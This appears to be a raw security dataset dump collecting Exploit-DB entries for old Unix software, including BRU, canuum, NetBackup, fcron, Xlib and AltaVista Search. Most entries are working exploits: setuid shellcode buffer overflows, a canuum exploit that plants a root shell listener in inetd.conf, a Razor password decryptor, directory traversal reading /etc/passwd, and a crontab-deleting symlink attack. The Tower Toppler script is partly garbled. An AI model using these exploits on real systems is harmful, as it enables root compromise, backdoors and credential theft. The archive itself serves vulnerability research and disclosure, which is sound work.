deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20905
Description: Thibault Godouet FCron 1 - Symbolic Link
Type: local
Platform: unix
Date: 2001-06-07
Author: Uwe Ohse

Exploit:
source: https://www.securityfocus.com/bid/2835/info

FCron is an implementation of the popular UNIX 'cron' utility that runs user-specified programs at periodic scheduled times.

fcron is vulnerable to symbolic link attacks.

It is possible for an attacker to anticipate the expected name of an fcron tempfile. Attackers can create a symbolic link with an anticipated filename pointing to files on the system writable by the fcron group. This could allow an attacker to corrupt another user's crontab file, interfering with scheduled events and potentially creating a denial of service.

In addition, the ability to cause deletion of user crontabs has been demonstrated by the discoverer.

How to repeat:

1. Install a crontab, for example for the root user:

root# ls -l /var/spool/fcron/
total 0
root# echo '0 0 * * * echo test' | fcrontab -
09:53:00 installing file /tmp/fcrontab.27301 for user root
Modifications will be taken into account right now.
root# ls -l /var/spool/fcron/
total 2
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig


2. As a normal user write and execute a script:

uwe$ cat ~/x
#! /bin/sh
ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
exec fcrontab - <<EOF
* * * * * false
EOF
uwe$ ./x
09:55:55 installing file /tmp/fcrontab.27536 for user uwe
09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied

3. As root look into the fcron spool directory:

root# ls -l /var/spool/fcron/
total 3
-rw-r----- 1 uwe fcron 16 May 7 09:55 rm.root
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig

4. As the normal user edit your crontab:

uwe$ echo '* * * * * true' | fcrontab -
09:59:15 installing file /tmp/fcrontab.27543 for user uwe
Modifications will be taken into account at 10h00.

5. As root wait up to a minute and look into the fcron spool directory:

# ls -l /var/spool/fcron/
total 3
-rw------- 1 root fcron 20 May 7 09:53 root.orig
-rw------- 1 root root 102 May 7 09:59 uwe
-rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig

6. Root's crontab is gone, look into your backups.
Exploit-DB #22923
Description: Tolis Group BRU 17.0 - Local Privilege Escalation (1)
Type: local
Platform: unix
Date: 2003-07-16
Author: DVDMAN

Exploit:
// source: https://www.securityfocus.com/bid/8215/info

It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based attacks as well as buffer overflow-based attacks.

It should be noted that although BRU does not ship with the suid bit set by default, documentation within the software may instruct users to enable it.

/** EST BRU(TM) Backup and Restore Utility Local Root Exploit
 **
 ** By: Dvdman@l33tsecurity.com
 **
 ** Simple Stack overflow Wont say any more :P
 **
 ** Linux & FreeBsd Targets
 **
 ** Greetz: sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
 **
 ** Public Release
 ** L33tsecurity 2003; irc.secsup.org #l33tsecurity
 **/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/errno.h>

#define FUN "./bru"

char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    /* SETUID(0) SHELLCODE LINUX */
    "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
    "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
    "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

unsigned long sp(void) {
           __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {

    char buffer[9000];
    int x,target;  
    char    *env[2];
    char    *args[24];

    unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN); 

    int *ptr = (int *)(buffer);
    if (argc != 2) {
       usage();
       exit(0);
       }
        
    target = atoi(argv[1]);

   if (target == 0) {
    for (x=0; x<9000 ; x+=4)
      *ptr++ = (ret + 1);
   }

   if (target == 1) {
     for (x=0; x<3500 ; x+=4)
          *ptr++ = 0xbfbffe48;
   }
    
    /* put in env */  
    env[0] = shellcode;     
    env[1] = NULL;


    args[0] = FUN;
    args[1] = buffer;
    args[2] = NULL;


    execve (args[0], args, env);
    perror ("execve");        
}       


int usage() {
printf("EST BRU(TM)local root exploit\n");
printf("By: Dvdman@l33tsecurity.com\n");
printf("Usage: ./ex_bru target\n");
printf("TARGET LIST:\n");
printf("0. LINUX\n1. FREEBSD\n");
return 0;
}
Exploit-DB #22335
Description: Tower Toppler 0.99.1 - 'Display' Local Buffer Overflow
Type: local
Platform: unix
Date: 2002-03-02
Author: Knud Erik Hojgaard

Exploit:
source: https://www.securityfocus.com/bid/7028/info

It has been reported that a buffer overflow exists in Tower Toppler. A local user may be able to exploit this issue to execute code with the privileges of the toppler program.

#!/usr/bin/perl
#kokanin@dtors.net playing a game
#hi bob
$len = 1024;
$ret = 0xbfbffd31;
$nop = "\x90";
$offset = 0;
$shellcode = =
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\xD9\x9d;

if (@ARGV == 1) {
    $offset = $ARGV[0];
}
 =20
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}
=20
$buffer .= $shellcode;

$new_ret = pack('l', ($ret + $offset));
=20
for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

local($ENV{'EGG'}) = $buffer;=20
local($ENV{'DISPLAY'}) = $new_ret x 64;=20

exec("toppler 2>/dev/null");
Exploit-DB #19583
Description: Turbolinux 3.5 b2 - 'canuum' Local Buffer Overflow
Type: local
Platform: unix
Date: 1999-11-02
Author: UNYUN

Exploit:
// source: https://www.securityfocus.com/bid/758/info

Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese.

Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way.

Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion.

The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options.

Since this program is installed SUID root this attack will result in a root level compromise.

/*=============================================================================
   canuum Exploit for Linux 
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/
#include    <stdio.h>

#define RETADR   1676
#define MAXBUF   2000
#define JMP_OFS  0x200
#define NOP      0x90
#define SHELL    "/tmp/pp"
#define COMPILER "gcc"


char exec[60]= 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff";
FILE *fp;

unsigned long get_sp(void)
{
    __asm__("movl %esp, %eax");
}

main()
{
    char            buf[MAXBUF+1];
    unsigned int    i,ip,sp;

    sprintf(buf,"%s.c",SHELL);
    if ((fp=fopen(buf,"w"))==NULL){
        printf("Can not write to %s\n",buf);
        exit(1);
    }
    fprintf(fp,"main(){setuid(0);setgid(0);");
    fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
    fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
    fclose(fp);
    sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
    system(buf);

    memset(buf,'a',MAXBUF);
    buf[MAXBUF]=0;

    strcat(exec,SHELL);
    memcpy(buf+300,exec,strlen(exec));
    sp=get_sp();
    ip=sp+JMP_OFS;
    printf("Jumping address = %x\n\n\n",ip);
    printf("Please execute following command after \"Segmentation Fault\"\n");
    printf("\ntelnet localhost 12345\n\n\n");
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
}
Exploit-DB #302
Description: UNIX 7th Edition /bin/mkdir - Local Buffer Overflow
Type: local
Platform: unix
Date: 2004-06-25
Author: anonymous

Exploit:
/*
 * Exploit for /bin/mkdir Unix V7 PDP-11.
 * mkdir has a buffer overflow when checking if the directory
 * in /arg/with/slashes/fname exists.
 *
 * This will run /bin/sh with euid 0, but not uid 0.  Since
 * the shell doesn't do anything special about this, we don't
 * really care.  If you care, run  setuid(0); execl("/bin/sh", 0);
 */

/*
.globl  _main
_main:
    mov  pc,r1
    sub  $-[sh-_main-2], r1             / pointer to sh
    mov  r1, r2
    sub  $-8, r2
    clrb -1(r2)                         / null terminate
    mov  r1, r2
    clr  -(r1)                          / char *env[] = {0}
    mov  r1, r3
    mov  r2, -(r1)                      / char *argv[] = {sh, 0}
    mov  r1, r4
    mov  r3, -(r1)                      / reverse of sh,argv,env
    mov  r4, -(r1)
    mov  r2, -(r1)
    sys  59.; 11111; 11111; 11111       / call execve
argv:   11111; 11111
sh:     </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
    0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
    0102, 020, 041, 012, 0103, 020, 0241, 020,
    0104, 020, 0341, 020, 041, 021, 0241, 020,
    073, 0211, 0111, 022, 0111, 022, 0111, 022,
    0111, 022, 0111, 022, 057, 0142, 0151, 0156,
    057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
    int argc;
    char **argv;
{
    char buf[400];
    int i;
    char *argv2[4];

    /* nop slide + egg */
    for(i = 0; i < NOPSLIDE; ) {
        buf[i++] = 0301;
        buf[i++] = 021;
    }
    strcpy(buf + i, egg);

    /* pad out to CNT */
    for(i = strlen(buf); i < CNT; i++)
        buf[i] = 'a';

    /* overwrite retaddr */
    buf[i++] = PC & 0xff;
    buf[i++] = PC >> 8;

    /* extra stuff */
    buf[i++] = '/';
    buf[i++] = 'a';
    buf[i++] = 0;

    argv2[0] = "/bin/mkdir";
    argv2[1] = buf;
    argv2[2] = 0;
    execv(argv2[0], argv2);
    return 0;
}


// milw0rm.com [2004-06-25]
Exploit-DB #24062
Description: Veritas NetBackup 3.5/4.5/5.0 - Multiple Local Memory Corruption Vulnerabilities (1)
Type: local
Platform: unix
Date: 2004-04-25
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/10226/info

Multiple unspecified local buffer overrun and format string vulnerabilities have been reported to exist in various setuid Veritas NetBackup binaries. These issues may be exploited to execute arbitrary code with root privileges.

It should be noted that these issues are confirmed to exist and be exploitable on Linux platforms, however, releases of the software on other Unix-based platforms are also believed to be similarly affected. 

It is also not known at this point which specific NetBackup releases or distributions are affected.

#!/usr/bin/perl -w
#
# Veritas Netbackup 4.x and 5.x hostname overflow
#
# kf (kf_lists[at]secnetops[dot]com) - 04/25/2004
#
# This bug has not been patched as of:
# VERSION NetBackup 5.0GA
#
# /usr/openv/netbackup/bin/nonroot_admin *MUST have been run*
# if not the setuids do NOT exist
#
# AIX Version
# Starting program: /usr/openv/bperror -M `perl -e 'print "A" x 308'`ABCD
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
#

$retval = 0x2ff22dff;

$tgts{"0"} = "/usr/openv/netbackup/bin/admincmd/bperror:308";

unless (($target,$offset) = @ARGV) {

        print "\n        Veritas Netbackup hostname overflow, kf \(kf_lists[at]secnetops[dot]com\) - 04/25/2004\n";
        print "Modded for AIX 50L\n";
        print "\n\nUsage: $0 <target> <offset> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key. $a . $b \n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval+$offset));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Len: $b, Offset: $offset, Ret: $ret ***\n\n";

$sc = "\x7c\xa5\x2a\x79" x 20;
$sc .= "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$sc .= "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$sc .= "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
$sc .= "\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
$sc .= "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$sc .= "\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
$sc .= "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
$sc .= "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/tmp/sh";

$ENV{"ENV"} = "";

$ENV{"SNO"} = $sc;

$buf = "A" x $b;
$buf .= "$ret";

if ($target eq 0) {
exec("/usr/openv/netbackup/bin/admincmd/bperror -M $buf");
}
Exploit-DB #24064
Description: Veritas NetBackup 3.5/4.5/5.0 - Multiple Local Memory Corruption Vulnerabilities (3)
Type: local
Platform: unix
Date: 2004-04-25
Author: Secure Network Operations

Exploit:
source: https://www.securityfocus.com/bid/10226/info
 
Multiple unspecified local buffer overrun and format string vulnerabilities have been reported to exist in various setuid Veritas NetBackup binaries. These issues may be exploited to execute arbitrary code with root privileges.
 
It should be noted that these issues are confirmed to exist and be exploitable on Linux platforms, however, releases of the software on other Unix-based platforms are also believed to be similarly affected.
 
It is also not known at this point which specific NetBackup releases or distributions are affected.


#!/usr/bin/perl -w
#
# Veritas Netbackup 4.x and 5.x hostname overflow
#
# kf (kf_lists[at]secnetops[dot]com) - 04/25/2004
#
# This bug has not been patched as of:
# VERSION NetBackup 5.0GA
#
# /usr/openv/netbackup/bin/nonroot_admin *MUST have been run*
# if not the setuids do NOT exist

$retval = 0xbffffdec;

$tgts{"0"} = "/usr/openv/netbackup/bin/admincmd/bpclschedrep:300";
$tgts{"1"} = "/usr/openv/netbackup/bin/admincmd/bperror:620";
$tgts{"2"} = "/usr/openv/netbackup/bin/admincmd/bpflist:1058";
$tgts{"3"} = "/usr/openv/netbackup/bin/admincmd/bpgetmedia:428";
$tgts{"4"} = "/usr/openv/netbackup/bin/admincmd/bpplinfo:300";
$tgts{"5"} = "/usr/openv/netbackup/bin/admincmd/bprdreq:300";
$tgts{"6"} = "/usr/openv/netbackup/bin/admincmd/bpretlevel:284";
$tgts{"7"} = "And about 20 others:6969";

unless (($target,$offset) = @ARGV) {

        print "\n        Veritas Netbackup hostname overflow, kf \(kf_lists[at]secnetops[dot]com\) - 04/25/2004\n";
        print "\n\nUsage: $0 <target> <offset> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key. $a . $b \n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval+$offset));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Len: $b, Offset: $offset, Ret: $ret ***\n\n";

$sc = "\x90"x1024;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ENV{"SNO"} = $sc;

$buf = "A" x $b;
$buf .= "$ret";

if ($target eq 0) {
exec("/usr/openv/netbackup/bin/admincmd/bpclschedrep a a -M $buf");
}
if ($target eq 1) {
exec("/usr/openv/netbackup/bin/admincmd/bperror -M $buf");
}
if ($target eq 2) {
exec("/usr/openv/netbackup/bin/admincmd/bpflist -M $buf");
}
if ($target eq 3) {
exec("/usr/openv/netbackup/bin/admincmd/bpgetmedia -M $buf");
}
if ($target eq 4) {
exec("/usr/openv/netbackup/bin/admincmd/bpplinfo a -M $buf");
}
if ($target eq 5) {
exec("/usr/openv/netbackup/bin/admincmd/bprdreq -M $buf");
}
if ($target eq 6) {
exec("/usr/openv/netbackup/bin/admincmd/bpretlevel -M $buf");
}
Exploit-DB #20056
Description: Visible Systems Razor 4.1 - Password File (1)
Type: local
Platform: unix
Date: 2000-06-16
Author: pbw

Exploit:
// source: https://www.securityfocus.com/bid/1424/info

The Razor Configuration Management program stores passwords in an insecure manner.

A local attacker can obtain the Razor passwords, and either seize control of the software and relevant databases or use those passwords to access other users' accounts on the network. 

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>

/************************************************************

  dumprazorpasswd - 
    dumprazorpasswd
			- prompts for input hex string to decode
    dumprazorpasswd <razor_passwd_file>
			- prints the users and passwords in <file>
    dumprazorpasswd <passwd>
			- encrypts <passwd> and prints it in hex 

  16-jun-2000	pbw.

************************************************************/

#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )

#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )

struct pwent
  {
  char uname[17];
  char psswd[17];
  char gname[17];
  };

dumpfile (int fd)
{
int    status, k;
struct pwent pwent;

while ( (status = read (fd, &pwent, 51)) > 0 )
  {
  if (status != 51)
      {
      printf ("fd = %d\n", fd);
      printf ("partial read! only read %d bytes\n", status);
      exit(0);
      }
  k = 0;
  while (pwent.psswd[k] != '\0')
    {
    ROT8L(pwent.psswd[k], 10);
    k++;
    }
  printf ("user %-17s  %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
  }
}

main (int argc, char *argv[])

{
int  fd,i,k;
char   passwd[18];
char   dpasswd[9];

if (argc < 2)
    {
    printf("razor passwd to decrypt :");
    fgets(passwd, 17, stdin);
    passwd[strlen(passwd)-1] = 0;
    k=0;
    for (i=0 ; i<9 ; dpasswd[i++]=0);
    for (i=(strlen(passwd)-1) ; i>=0 ; i--)
      {
      if (k & 1)
          {
          dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
          }
        else
          {
          dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
          }
      k++;
      }
    for (i=0 ; i<strlen(dpasswd) ; i++)
      ROT8L(dpasswd[i], 2);
    printf("%s\n", dpasswd);
    exit(0);
    }
fd = open (argv[1], O_RDONLY);
if (fd < 0)
    {					/* assume arg is a passwd to encrypt
*/
    for ( i=0 ; i<strlen(argv[1]) ; i++)
      printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
    printf("\n");
    }
  else
    {					/* dump file */
    dumpfile(fd);
    }
exit(0);
}
Exploit-DB #20294
Description: XFree86 3.3.5/3.3.6 - Xlib Display Buffer Overflow
Type: local
Platform: unix
Date: 2000-10-12
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/1805/info

A vulnerability exists in xlib, the C language interface to the X Window System protocol. 

When applications linked to the xlib library are run, user-supplied values for the DISPLAY environment variable (and the command-line argument -display) are stored in buffers of predefined length. It is not verified that the amount data is within the predefined size limits before it is copied onto the stack during function calls. 

Consequently it is possible for users to overwrite stack variables such as the calling function's return address with arbitrary values that can alter the program's flow of execution. 

While this vulnerability permits only numeric characters to be written to the stack, a successful exploit of this vulnerability can lead to partial overwriting of addresses and local variables.

cwsys$ DISPLAY=:`perl -e '{print "0"x128}'` xterm
Segmentation fault
cwsys$
Exploit-DB #32811
Description: Adobe Flash Player 9/10 - Invalid Object Reference Remote Code Execution
Type: remote
Platform: unix
Date: 2009-02-24
Author: Javier Vicente Vallejo

Exploit:
source: https://www.securityfocus.com/bid/33880/info

Adobe Flash Player is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.

Versions prior to Flash Player 10.0.12.36 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32811.rar
Exploit-DB #19694
Description: AltaVista Search Intranet 2.0 b/2.3 - Directory Traversal
Type: remote
Platform: unix
Date: 1999-12-29
Author: Rudi Carell

Exploit:
source: https://www.securityfocus.com/bid/896/info

The AltaVista Search engine sets up a webserver at port 9000 to listen for search queries. The main search function will accept a single '../' string in the query, providing access to all documents in the 'http' directory one level up. These documents contain various administrative information, including the password for the remote administration utility. The password is base-64 encoded, and can be easily restored to plaintext to give an attacker full remote administration abilities for the search engine. The webserver will accept multiple '../' strings if they are hex encoded, ie '%2e%2e%2f'.

http://target:9000/cgi-bin/query?mss=../logs/mgtstate
(to get the mgtstate file.)

#!/usr/bin/perl
use MIME::Base64;
print decode_base64("$ARGV[0]"), "\n";
(to unencode the username/password)

http://target:9000/cgi-bin/mgt
and enter the username/password to access the remote administration features

or
http://target:9000/cgi-bin/query?mss=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
to get the password file on a unix system
Exploit-DB #22475
Description: Amavis 0.1.6 - Header Parsing Mail Relaying
Type: remote
Platform: unix
Date: 2003-04-08
Author: Phil Cyc

Exploit:
source: https://www.securityfocus.com/bid/7306/info

It has been reported that some versions of Amavis-ng do not properly interact with Postfix. Because of this, an attacker may be able to circumvent relay restrictions. 

#> telnet somemx.domain.tld 25
(220 somemx.example.com ESMTP Postfix)
helo amavis-ng
(250 somemx.example.com)
mail from:userX@example.com
(250 ok)
rcpt to:userY@example.com
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: userX@example.com
To: userZ@example.com
Subject: AMaViS-ng 0.1.6.x bug
.
(250 Ok: queued as ...)
quit
(221 Bye)